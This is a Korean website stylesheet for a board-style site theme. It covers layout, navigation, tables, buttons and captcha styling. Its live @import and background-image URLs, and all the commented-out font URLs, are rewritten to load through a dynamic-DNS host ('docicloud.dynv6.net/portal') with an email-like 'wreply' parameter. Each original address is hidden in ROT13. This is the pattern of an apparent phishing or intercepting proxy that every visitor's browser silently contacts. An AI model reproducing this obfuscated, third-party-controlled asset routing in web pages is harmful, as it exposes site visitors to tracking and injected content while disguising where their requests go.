@charset "utf-8";
/* SIR 지운아빠 */
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Srneylnpprff%2Sanahztbguvp.pff);
/* 초기화 *
html {overflow-y:scroll}
body {margin:0;padding:0;font-size:0.75em;font-family:"Nanum Gothic", sans-serif;dotum}
html, h1, h2, h3, h4, h5, h6, form, fieldset, img {margin:0;padding:0;border:0}
h1, h2, h3, h4, h5, h6 {font-size:1em;font-family:dotum}
article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {display:block}

#hd ul, nav ul, #ft ul {margin:0;padding:0;list-style:none}
legend {position:absolute;margin:0;padding:0;font-size:0;line-height:0;text-indent:-9999em;overflow:hidden}
label, input, button, select, img {vertical-align:middle}
input, button {margin:0;padding:0;font-family:dotum;font-size:1em}
button {cursor:pointer}

textarea, select {font-family:dotum;font-size:1em}
select {margin:0}
p {margin:0;padding:0;word-break:break-all}
hr {display:none}
pre {overflow-x:scroll;font-size:1.1em}
a:link, a:visited {color:#000;text-decoration:none}
a:hover, a:focus, a:active {color:#000;text-decoration:underline}
*/
/* HTML Default *
html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, article, aside, hgroup, header, footer, figure, figcaption, nav, section { margin:0; padding:0; border:0; font-size:100%; vertical-align:baseline; background:transparent; line-height:1.4em; box-sizing:border-box; font-weight:normal;}
article, aside, hgroup, header, footer, figure, figcaption, nav, section { display: block; }
body {padding:0;margin:0;box-sizing:border-box;font-size:0.75em;font-family:"Nanum Gothic", sans-serif;dotumcolor:#575757;}
h1, h2, h3, h4, h5, h6 { font-weight:600; } 
ol, ul { list-style:none; }
blockquote, q { quotes:none; }
blockquote:before, blockquote:after,q:before, q:after { content:''; }
table { border-collapse:collapse; border-spacing:0; table-layout:fixed; width:100%;}
button { margin:0; padding:0; border:0; font:inherit; color:inherit; background:transparent; overflow:visible; cursor:pointer; line-height:1; }
a:link, a:visited, a:hover, a,active, a:focus { text-decoration:none; cursor:pointer; color:#666;}
legend, caption { display:none; }
textarea { resize:vertical; font:inherit; overflow-y:auto; }
input, select { color:inherit; font:inherit; vertical-align: middle;}
address, i { font-style:normal; }
table { border-collapse:collapse; table-layout:fixed; }
img, select, input, button { vertical-align:middle; }
em { font-style:normal; }
input { font-family: 'NanumGothic', sans-serif;}
*/
	/* Common */
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,textarea,p,blockquote,th,td,input,select,textarea,button{margin:0;padding:0}
fieldset,img{border:0 none}
dl,ul,ol,menu,li{list-style:none}
table{border-collapse:collapse;border-spacing:0;border:0 none}
blockquote,q{quotes:none}
blockquote:before,blockquote:after,q:before,q:after{content:'';content:none}
select, textarea {
    vertical-align: middle;
    height: 24px;
    line-height: 24px;
    padding-left: 5px;
}
button{border:0 none;background-color:transparent;cursor:pointer}
a{color:#333;text-decoration:none}
a:active, a:hover{text-decoration:none;}
address,caption,cite,code,dfn,em,var{font-style:normal;font-weight:normal}
html, body{height:100%}
img{vertical-align:middle}
legend, .hide{width:1px;height:1px;line-height:0;position:absolute;left:-5000px;top:-5000px;z-index:-100;text-indent:-2000px}
legend{*display:none}
caption{padding:0;margin:0;font-size:0;width:0;height:0;line-height:0;text-indent:-9999px}
*{-webkit-text-size-adjust:none;}
input::-ms-clear{display:none}

body, input, select, textarea{font-size:13px;font-family:"Malgun Gothic", Dotum, "돋움", sans-serif;}
textarea{border:1px solid #c4c4c4;border-radius:1px;color:#555;line-height:24px;padding:2px 10px 6px}
hr {display:none}

/* font 
@font-face {
 font-family: 'NanumGothic';
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp.ggs') format('truetype');
}
@font-face {
 font-family: 'NanumGothic-Bold';
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp-Obyq.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp-Obyq.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp-Obyq.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzTbguvp-Obyq.ggs') format('truetype');
}
@font-face {
 font-family: 'NanumSquare';
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerE.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerE.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerE.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerE.ggs') format('truetype');
}
@font-face {
 font-family: 'NanumSquare Light';
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerY.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerY.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerY.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerY.ggs') format('truetype');
}

@font-face {
 font-family: 'NanumSquare';
 font-weight:bold;
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerO.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerO.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerO.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerO.ggs') format('truetype');
}

@font-face {
 font-family: 'NanumSquareBold';
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerRO.rbg');
 src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerRO.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerRO.jbss') format('woff'),
      url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Ssbagf%2SAnahzFdhnerRO.ggs') format('truetype');
}
*/
.mt30 { margin-top: 30px !important;}
.h3{display:inline-block;position:relative;margin:4px 0 14px 0;width:100%;font-weight:bold;font-size:16px;letter-spacing:-0.075em;color:#222;line-height:24px}
/* 팝업레이어 */
#hd_pop {z-index:1000;position:relative;margin:0 auto;width:970px;height:0}
#hd_pop h2 {position:absolute;font-size:0;line-height:0;overflow:hidden}
.hd_pops {position:absolute;border:1px solid #e9e9e9;background:#fff}
.hd_pops_con {}
.hd_pops_footer {padding:10px 0;background:#000;color:#fff;text-align:right}
.hd_pops_footer button {margin-right:5px;padding:5px 10px;border:0;background:#393939;color:#fff}

/* 상단 레이아웃 */
#hd {z-index:4;position:relative;min-width:970px;background:#fff}
.hd_zindex {z-index:10 !important}
#hd_h1 {position:absolute;font-size:0;line-height:0;overflow:hidden}
#hd_wrapper {position:relative;margin:0 auto;padding:15px 0;width:970px;zoom:1}
#hd_wrapper:after {display:block;visibility:hidden;clear:both;content:""}

#logo {float:left;padding:5 0 0 0;}
.banner_top {position:absolute; top:15px; right:0;}

/* 전체 검색 */
#hd_sch {float:right;margin:0px 0 0 20px;padding:3px 4px 2px 0;border:1px solid #e9e9e9; background:#fff;}
#hd_sch legend {position:absolute;margin:0;padding:0;font-size:0;line-height:0;text-indent:-9999em;overflow:hidden}
#hd_sch #sch_stx {border:none;padding-left:5px;width:205px;height:20px;width:20px border:0;background:#fff;line-height:1.9em !important;line-height:1.6em; padding:5px 0 5px 5px}
#hd_sch #sch_submit {padding-left:20px;height:26px;border:0;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sfpu_oga.cat') #fff top right no-repeat;color:#333;cursor:pointer;font-size:0;}

/* 텍스트 크기 조절 */
#text_size {float:left;margin:12px 0 0 10px;letter-spacing:-3px}
#text_size button {margin:0;padding:1px 2px;border:1px solid #c3c6ca;background:transparent;vertical-align:middle;cursor:pointer}
.ts_up {font-size:1.167em !important}
.ts_up2 {font-size:1.3em !important}

/* 상단 회원가입 등 링크 */
#tnb {float:right;margin:12px 0 0 0;padding:0;list-style:none;zoom:1}
#tnb:after {display:block;visibility:hidden;clear:both;content:""}
#tnb li {float:left;margin:0 0 0 10px}
#tnb a {display:inline-block;padding:0 10px;height:28px;color:#333;letter-spacing:-0.1em;line-height:2.4em}
#tnb a:focus, #tnb a:hover, #tnb a:active {text-decoration:none}
#tnb img {margin-right:3px}

/* 메인메뉴 */
/* ecf0f7 기존 가로바 */ 
#gnb {position:relative;margin:-1px 0 0;border-top:1px solid #e0e0e0;/*border-bottom:1px solid #dde4e9;*/background:#00844a;}
#gnb h2 {position:absolute;font-size:0;line-height:0;overflow:hidden}
#gnb_1dul {margin:0 auto !important;padding:13px 0px;;width:970px;zoom:1}
#gnb_1dul li:first-child ul {padding-left:20px;}
#gnb_1dul:after {display:block;visibility:hidden;clear:both;content:""}
/*.gnb_1dli {z-index:10;position:relative;float:left;color:#151515}*/
.gnb_1dli {z-index:10; /*position:relative;*/ float:left;color:#151515; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Stao1_ot.cat') center right no-repeat; padding:0 20px;}
.gnb_1dli:last-child {margin:0; background:none;} 
.gnb_1da {display:inline-block; /*padding:0 40px 0 10px; */height:35px;font-weight:bold;line-height:2.25em;text-decoration:none;font-size:16px; color:#fff;}
.gnb_1da:focus, .gnb_1da:hover {/*background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Stao_ot00.tvs') center right no-repeat; text-decoration:none*/}
.gnb_1dli_air .gnb_1da {background-color:#fff;color:#151515}
/*.gnb_1dli_on .gnb_1da {background-color:#fff;color:#151515}*/
.gnb_2dul {display:none;/*;position:absolute;*/top:66px;width:970px; margin:0 auto; /*background:#005033;*/}
.gnb_2da {display:block;padding:13px 10px;text-align:left;text-decoration:none;}
.gnb_1dli_on .gnb_2da:hover {color:#fff;}
.gnb_1dli_air .gnb_2da {background-color:#005033;color:#80b29d;}
.gnb_1dli_on .gnb_2da {color:#80b29d}
/*.gnb_2da:focus, .gnb_2da:hover {background:#56ab40;text-decoration:none;color:#fff;}*/
.gnb_1dli_over .gnb_2dul {display:block;/*background:#fff*/}
.gnb_2dul li {float:left; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Stao2_ot.cat') center right no-repeat;}
.gnb_2dul li:last-child {background:none;}
.ol {border:none;}
.gnb_2dul:after {clear:both; content:""; display:block;}

#gnb_empty {padding:10px 0;width:100%;text-align:center;line-height:2em}
#gnb_empty a {text-decoration:underline}

/* 중간 레이아웃 */
#con_wrapper {width:100%; background-color:#f9f9f9;border-top:1px solid #e0e0e0;
	background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sot_vpba1.cat'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sot_vpba2.cat'),url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sot_vpba3.cat'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sot_vpba4.cat');
	background-repeat:no-repeat,no-repeat,no-repeat,no-repeat;
	background-position:top left, top right, bottom left, bottom right;
}
#wrapper {z-index:5;margin:0 auto;width:970px;/*border-right:1px solid #dde4e9*/;/*border-left:1px solid #dde4e9;*/zoom:1}
#wrapper:after {display:block;visibility:hidden;clear:both;content:""}

#aside {float:right;margin:0 0 0 -1px;width:240px;/*border-left:1px solid #dde4e9;*/}
#aside table tr td {padding-bottom:10px;}
#aside table tr td a img {border:1px solid #dde4e9;}

#container {z-index:4;position:relative;float:left;padding:10px 16px 15px 15px;width:698px;min-height:500px;height:auto !important;height:500px;/*border-right:1px solid #dde4e9;*/2017-04-12font-size:1em;zoom:1}
#container:after {display:block;visibility:hidden;clear:both;content:""}
#container_title {margin-bottom:20px;font-size:1.2em;font-weight:bold}

/* 하단 레이아웃 */
#ft {border-top:1px solid #e0e0e0;}
#ft h1 {position:absolute;font-size:0;line-height:0;overflow:hidden}
#ft p {margin:0;padding:10px 0;line-height:1.8em}

.ft_logo {position:absolute;top:-59px; left:47px;}
.ft_right {position:absolute;top:0; left:60px;}
#ft_catch {overflow:hidden;margin:0 auto;width:970px;text-align:left;line-height: 20px;padding-top:30px;}
#ft_catch div {position:relative;display:inline-block;}
#ft_catch img {margin-right:10px; margin-top:5px;}

#ft_company {text-align:center}

#ft_copy {background:#414141}
#ft_copy div {position:relative;margin:0 auto;padding:10px 0;width:970px;color:#fff}
#ft_copy a {display:inline-block;margin:0 10px 0 0;color:inherit}
#ft_copy #ft_totop {position:absolute;top:10px;right:0}

/* 게시물 선택복사 선택이동 */
#copymove {}
.copymove_current {float:right;color:#ff3061}
.copymove_currentbg {background:#f4f4f4}

/* 화면낭독기 사용자용 */
#hd_login_msg {position:absolute;top:0;left:0;font-size:0;line-height:0;overflow:hidden}
.msg_sound_only, .sound_only {display:inline-block !important;position:absolute;top:0;left:0;margin:0 !important;padding:0 !important;font-size:0;line-height:0;border:0 !important;overflow:hidden !important}
/* 본문 바로가기 */
#skip_to_container a {z-index:100000;position:absolute;top:0;left:0;width:1px;height:1px;font-size:0;line-height:0;overflow:hidden}
#skip_to_container a:focus, #skip_to_container a:active {width:100%;height:75px;background:#21272e;color:#fff;font-size:2em;font-weight:bold;text-align:center;text-decoration:none;line-height:3.3em}

/* ie6 이미지 너비 지정 */
.img_fix {width:100%;height:auto}

/* 캡챠 자동등록(입력)방지 기본 */
#captcha {display:inline-block;position:relative}
#captcha legend {position:absolute;margin:0;padding:0;font-size:0;line-height:0;text-indent:-9999em;overflow:hidden}
#captcha #captcha_img {width:100px;height:40px;border:1px solid #e9e9e9}
#captcha #captcha_mp3 {position:absolute;top:3px;left:109px;;margin:0;padding:0;width:83px;height:22px;border:0;background:transparent;vertical-align:middle;overflow:hidden;cursor:pointer}
#captcha #captcha_mp3 span {position:absolute;top:0;left:0;width:23px;height:22px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Scyhtva%2Sxpncgpun%2Svzt%2Sfbhaq.tvs')}
#captcha #captcha_reload {position:absolute;top:21px;left:108px;margin:0;padding:0;width:57px;height:22px;border:0;background:transparent;vertical-align:middle;overflow:hidden;cursor:pointer}
#captcha #captcha_reload span {position:absolute;top:0;left:0;width:23px;height:22px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Scyhtva%2Sxpncgpun%2Svzt%2Serybnq.tvs')}
#captcha #captcha_key {margin:2px 0 0 89px;padding:0 5px;width:100px;height:40px;border:1px solid #b8c9c2;background:#f7f7f7;font-size:1.333em;font-weight:bold;text-align:center;line-height:2.8em}
#captcha #captcha_info {display:block;margin:5px 0 0;font-size:0.95em;letter-spacing:-0.1em}

/* ckeditor 단축키 */
.cke_sc {margin:0 0 5px;text-align:right}
.btn_cke_sc{display:inline-block;padding:0 10px;height:23px;border:1px solid #ccc;background:#fafafa;color:#000;text-decoration:none;line-height:1.9em;vertical-align:middle;cursor:pointer}
.cke_sc_def {margin:0 0 5px;padding:10px;border:1px solid #ccc;background:#f7f7f7;text-align:center}
.cke_sc_def dl{margin:0 0 5px;text-align:left;zoom:1}
.cke_sc_def dl:after {display:block;visibility:hidden;clear:both;content:""}
.cke_sc_def dt, .cke_sc_def dd {float:left;margin:0;padding:5px 0;border-bottom:1px solid #e9e9e9}
.cke_sc_def dt {width:20%;font-weight:bold}
.cke_sc_def dd {width:30%}

/* 버튼 */
a.btn01 {display:inline-block;padding:7px;border:1px solid #ccc;background:#fafafa;color:#000;text-decoration:none;vertical-align:middle}
a.btn01:focus, a.btn01:hover {text-decoration:none}
button.btn01 {display:inline-block;margin:0;padding:7px;border:1px solid #ccc;background:#fafafa;color:#000;text-decoration:none}
a.btn02 {display:inline-block;padding:7px;border:1px solid #3b3c3f;background:#4b545e;color:#fff;text-decoration:none;vertical-align:middle}
a.btn02:focus, .btn02:hover {text-decoration:none}
button.btn02 {display:inline-block;margin:0;padding:7px;border:1px solid #3b3c3f;background:#4b545e;color:#fff;text-decoration:none}

.btn_confirm {text-align:center} /* 서식단계 진행 */

.btn_submit {display: inline-block;padding: 8px 10px;border: 1px solid #3b3c3f;background: #45474d;color: #fff;text-decoration: none; vertical-align: middle; font-size: 11px;line-height: 12px;letter-spacing: -1px;cursor:pointer}
fieldset .btn_submit {padding:0 7px;height:24px;}

a.btn_cancel {display:inline-block;padding:7px;border:1px solid #ccc;background:#fafafa;color:#000;text-decoration:none;vertical-align:middle}
button.btn_cancel {display:inline-block;padding:7px;border:1px solid #ccc;background:#fafafa;color:#000;vertical-align:top;text-decoration:none}

a.btn_frmline, button.btn_frmline {display:inline-block;padding:0 8px;height:24px;line-height:24px;border:0;background:#188d58;color:#fff;letter-spacing:-0.1em;text-decoration:none;vertical-align:top} /* 우편번호검색버튼 등 */
a.btn_frmline {line-height:24px}
button.btn_frmline {font-size:1em}

/* 게시판용 버튼 */
a.btn_b01 {display:inline-block;padding:7px;border:1px solid #d9ded9;background:#f2f5f9;color:#000;text-decoration:none;vertical-align:middle}
a.btn_b01:focus, .btn_b01:hover {text-decoration:none}
a.btn_b02 {display: inline-block;padding: 8px 12px;border: 1px solid #188d58;background: #188d58;color: #fff;text-decoration: none; vertical-align: middle; font-size: 11px;line-height: 14px;letter-spacing: -1px;}
a.btn_b02:focus, .btn_b02:hover {text-decoration:none}
a.btn_admin {display: inline-block;padding: 8px 12px;border: 1px solid #188d58;background: #188d58;color: #fff;text-decoration: none; vertical-align: middle; font-size: 11px;line-height: 15px;letter-spacing: -1px;} /* 관리자 전용 버튼 */
a.btn_admin:focus, a.btn_admin:hover {text-decoration:none}

/* 댓글 스타일 */
.cnt_cmt {display:inline-block;margin:0 0 0 3px;font-weight:bold}

/* 기본테이블 */
.tbl_wrap table {width:100%;border-collapse:collapse;border-spacing:0}
.tbl_wrap caption {padding:10px 0;font-weight:bold;text-align:left}

.tbl_head01 {border-top:2px solid #737373;margin:0 0 10px}
.tbl_head01 caption {padding:0;font-size:0;line-height:0;overflow:hidden}
.tbl_head01 thead th {padding:12px 0;height:27px;font-weight:bold;letter-spacing:-0.05em;color:#484f68;text-align:center;border-bottom:1px solid #c6c6c6;background-color:#f8f8f8}
.tbl_head01 thead a {color:#383838}
.tbl_head01 thead th input {vertical-align:top} /* middle 로 하면 게시판 읽기에서 목록 사용시 체크박스 라인 깨짐 */
.tbl_head01 tfoot th, .tbl_head01 tfoot td {padding:10px 0;border-top:1px solid #c1d1d5;border-bottom:1px solid #c1d1d5;background:#d7e0e2;text-align:center}
.tbl_head01 tbody th {padding:8px 0;border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9}
.tbl_head01 td {padding:15px 2px;border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9;line-height:1.5em;word-break:break-all;  letter-spacing: -1px;overflow: hidden; text-overflow: ellipsis; white-space: nowrap;}
.tbl_head01 a {}

.tbl_head02 {margin:0 0 10px}
.tbl_head02 caption {padding:0;font-size:0;line-height:0;overflow:hidden}
.tbl_head02 thead th {padding:5px 0;border-top:1px solid #d1dee2;border-bottom:1px solid #d1dee2;background:#e5ecef;color:#383838;font-size:0.95em;text-align:center;letter-spacing:-0.1em}
.tbl_head02 thead a {color:#383838}
.tbl_head02 thead th input {vertical-align:top} /* middle 로 하면 게시판 읽기에서 목록 사용시 체크박스 라인 깨짐 */
.tbl_head02 tfoot th, .tbl_head02 tfoot td {padding:10px 0;border-top:1px solid #c1d1d5;border-bottom:1px solid #c1d1d5;background:#d7e0e2;text-align:center}
.tbl_head02 tbody th {padding:5px 0;border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9}
.tbl_head02 td {padding:5px 3px;border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9;line-height:1.4em;word-break:break-all}
.tbl_head02 a {}

/* 폼 테이블 */
.tbl_frm01 {width:100%;table-layout:fixed;margin:0 0 20px}
.tbl_frm01 table {border-top:2px solid #6f6f6f;width:100%;border-collapse:collapse;border-spacing:0}
.tbl_frm01 th {font-size:13px;padding:6px 0px 10px;color:#787878;line-height:20px;letter-spacing:-0.05em;border-bottom:1px solid #e9e9e9;padding-left:15px;padding-right:20px;line-height:20px ;height:38px;
letter-spacing:-0.05em;color:#787878;text-align:left;border-bottom:1px solid #e9e9e9;background-color:#f5f5f5;}
.tbl_frm01 td {font-size:12px; padding:6px 8px 10px;color:#787878;line-height:20px;letter-spacing:-0.05em;border-bottom:1px solid #e9e9e9;padding-left:5px;padding-right:5px;line-height:20px ;height:38px;;
letter-spacing:-0.05em;color:#787878;text-align:left;border-bottom:1px solid #e9e9e9;background-color:#fff;}
.tbl_frm01 textarea, .frm_input {border:1px solid #e4eaec;background:#f7f7f7;color:#000;vertical-align:middle;line-height:2em}
.tbl_frm01 textarea {padding:2px 2px 3px}
.frm_input {height:22px}
.tbl_frm01 textarea {width:98%;height:100px}
.tbl_frm01 a {text-decoration:none}
.tbl_frm01 .frm_file {display:block;margin-bottom:5px}
.tbl_frm01 .frm_info {/*display:block;*/padding:0 0 5px 10px;line-height:1.5em;color:#56ab40;}
.tbl_frm01 .frm_info_2 {display:block;padding:10px 0 5px 0px;line-height:1.5em;color:#56ab40;}
.pt15 {padding-top:15px !important;}

/* 자료 없는 목록 */
.empty_table {padding:50px 0 !important;text-align:center}
.empty_list {padding:20px 0 !important;text-align:center}

/* 필수입력 */
.required, textarea.required {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sjerfg.tvs') #f7f7f7 top right no-repeat !important}

/* 테이블 항목별 정의 */
.td_board {width:120px;text-align:center}
.td_category {width:80px;text-align:center}
.td_chk {width:30px;text-align:center}
.td_date {width:60px;text-align:center}
.td_datetime {width:110px;text-align:center}
.td_group {width:100px;text-align:center}
.td_mb_id {width:100px;text-align:center}
.td_mng {width:80px;text-align:center}
.td_name {width:100px;text-align:left}
.td_nick {width:100px;text-align:center}
.td_num {width:50px;text-align:center}
.td_numbig {width:80px;text-align:center}
.td_stat {width:60px;text-align:center}

.txt_active {color:#5d910b}
.txt_done {color:#e8180c}
.txt_expired {color:#ccc}
.txt_rdy {color:#8abc2a}

/* 새창 기본 스타일 */
.new_win {}
.new_win .tbl_wrap {margin:0 20px}
.new_win #win_title {margin:0 0 20px;padding:20px;border-top:3px solid #333;border-bottom:1px solid #dde4e9;background:#fff;font-size:1.2em}
.new_win #win_title .sv {font-size:0.75em;line-height:1.2em}
.new_win .win_ul {margin:-20px 0 20px 0;padding:0 20px;border-bottom:1px solid #455255;background:#484848;list-style:none;zoom:1}
.new_win .win_ul:after {display:block;visibility:hidden;clear:both;content:""}
.new_win .win_ul li {float:left;margin-left:-1px}
.new_win .win_ul a {display:block;padding:10px 10px 8px;border-right:1px solid #455255;border-left:1px solid #455255;color:#fff;font-family:dotum;font-weight:bold;text-decoration:none}
.new_win .win_desc {padding:20px}

.new_win .win_btn {clear:both;padding:20px;text-align:center} /* 새창용 */
.new_win .win_btn button {display:inline-block;padding:0 10px;height:30px;border:0;background:#4b545e;color:#fff;line-height:2em;cursor:pointer}
.new_win .win_btn input {padding:0 10px;height:30px;line-height:2em}
.new_win .win_btn a {display:inline-block;padding:0 10px;height:30px;background:#4b545e;color:#fff;vertical-align:middle;line-height:2.4em}
.new_win .win_btn a:focus, .new_win .win_btn a:hover {text-decoration:none}

/* 내용관리 */
#ctt {margin:10px 0;padding:10px;/*border:1px solid #e9e9e9*/}
.ctt_admin {text-align:right}
#ctt header h1 {position:absolute;font-size:0;line-height:0;overflow:hidden}
#ctt_con {padding:10px 0}
